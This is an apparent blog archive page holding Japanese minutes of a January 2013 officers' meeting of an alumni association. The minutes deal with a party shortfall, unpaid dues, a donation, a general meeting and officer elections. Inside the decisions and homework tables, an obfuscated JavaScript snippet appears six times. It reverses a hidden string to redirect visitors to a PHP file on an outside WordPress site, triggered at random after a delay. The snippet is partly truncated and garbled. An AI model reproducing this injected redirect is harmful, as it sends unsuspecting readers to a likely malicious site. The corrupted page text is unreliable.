Archive for 2月, 2013

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日付

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2013年1月15日(火)

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時間

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19:00 ~ 21:30

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場所

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NBS  8F  大教室1

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配布資料

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出席者

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計4名

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1

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議題

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1.1 忘年会の不足分のお金の処理方法

1.2 校友会の未納金について

1.3 寄付金授受

1.4 臨時総会

1.5 3月の役員改選

1.6 NBS桜門会の継続問題

1.7 その他

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2

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内容

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2.1 忘年会の不足金の処理方法

2.1.1方法案として以下の意見が出た。
  1)忘年会出席者で割る
  2)桜門会運営費で捻出
  3)幹事への補助金で処理
  4)次回以降の開催で割って処理する
  2.1.2処理方法の可決

・3)の方法で処理することで決定。幹事会へメール展開し、報告する。
  ・処理については会計担当と調整する。

 

2.2校友会の未納金について

・未納金は支払いで決定した。
  ・設立当初の名義貸し会員リストを入手する
  ・桜門会費?(年8万)の未払い分と支払方法(一括処理)を

校友会に確認する。⇒1月20日(日)までに確認

・校友会費+桜門会費の未納金確定と支払方法が決まったら

支払う。

 

2.3寄付金授受

・会計担当へ寄付金を渡す。

・寄付金受取証を会計担当より発行する。

・盛さんへ寄付金受取証を渡す。

 

 

 

2.4 臨時総会

・臨時総会(桜門会の今後の運営方法についての議論)いつやる?
  <日程案>
  ・25年5月(年次総会)までに行う。
  ・25年5月(年次総会)以降の新役員改選以降
  今後、上記の日程案のどちらにするかを別途、検討する。

 

2.5 3月の役員改選

・3月に役員改選ではなく、総会のタイミングではなかったか?

という意見があった。
  ・このため、役員改選時期を再確認することとした。(会則を確認)
  ・会則類のマスター版入手する

・立候補者のお願いを行う。
  ・役員の方々の継続意思確認を行う。
   継続できる方については留任者とする。

 

2.6   NBS桜門会の継続問題

・臨時総会でまずは議論することとした。

・議論の開始時期も、役員改選時期等々を勘案し、検討することとした。

 

2.7   その他

2.7.1修了式
  ・3月25日(月)
   17時~:学位記伝達式
   18時30分~:祝賀会
  2.7.2次回、幹事会開催
  ・日程候補の連絡

1月中で開催を検討する。
   平日開催も含めて日程調整する。
  2.7.3本日分の議事録展開

 

 

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3

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決定

事項

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}top” width=”492″>

■忘年会の不足金は幹事への補助金で処理

■校友会の未納金は支払いに向けて行動開始する

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}top” width=”28″>

4

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}top” width=”63″>

宿題

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}top” width=”492″>

■桜門会設立当初の名義貸し会員リスト入手

■校友会へ未納金と支払い方法について確認

■役員改選時期の確認

■会則マスターの入手

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}top” width=”28″>

5

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}top” width=”63″>

次回

予定

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}top” width=”492″>

未定